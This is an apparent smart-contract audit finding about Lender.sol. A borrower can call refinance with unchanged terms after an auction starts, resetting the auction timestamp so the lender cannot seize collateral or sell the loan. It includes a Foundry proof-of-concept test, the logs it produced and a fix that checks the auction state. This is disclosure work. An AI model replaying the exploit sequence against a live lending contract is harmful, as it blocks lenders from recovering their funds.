20,000 USDC
View results
Submission Details
Severity: high
Valid

Griefe seizeLoan and buyLoan

Summary

In Lender.sol seizeLoan and buyLoan can be griefed by a malicious actor. The lender can only receive the collateral of the loan taken by the malicious actor if he call repay himself and pays the debt of the loan.

Vulnerability Details

In Lender.sol seizeLoan and buyLoan can be griefed by a malicious actor. The lender can only receive the collateral of the loan taken by the malicious actor if he call repay himself and pays the debt of the loan. Once a startAuction is called on a loan, malicious actor can call refinance with the same parameters with which he called borrow, thus paying only gas and resetting the loan.auctionStartTimestamp == type(uint256).max.

function test_GreifStartAuction() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 200 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
(, , , , , , , , uint256 notStarted, ) = lender.loans(0);
console.log(
"Auction time of the loan when it is not started: ",
notStarted
);
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
(, , , , , , , , uint256 auctionStarted, ) = lender.loans(0);
console.log(
"Auction time of the loan when auction is started: ",
auctionStarted
);
vm.startPrank(borrower);
Refinance memory r = Refinance({
loanId: 0,
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 200 * 10 ** 18
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
lender.refinance(rs);
(, , , , , , , , uint256 afterRefinance, ) = lender.loans(0);
console.log(
"Auction time of the loan after refinance is called: ",
afterRefinance
);
}

These are the logs:

Logs:
Auction time of the loan when it is not started: 115792089237316195423570985008687907853269984665640564039457584007913129639935
Auction time of the loan when auction is started: 1
Auction time of the loan after refinance is called: 115792089237316195423570985008687907853269984665640564039457584007913129639935

Impact

The lender can only receive the collateral of the loan taken by the malicious actor if he call repay himself and pays the debt of the loan.

Tools Used

Manual Review

Recommendations

In refinance check that the auction is not already started

if (loan.auctionStartTimestamp != type(uint256).max)
revert AuctionStarted();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.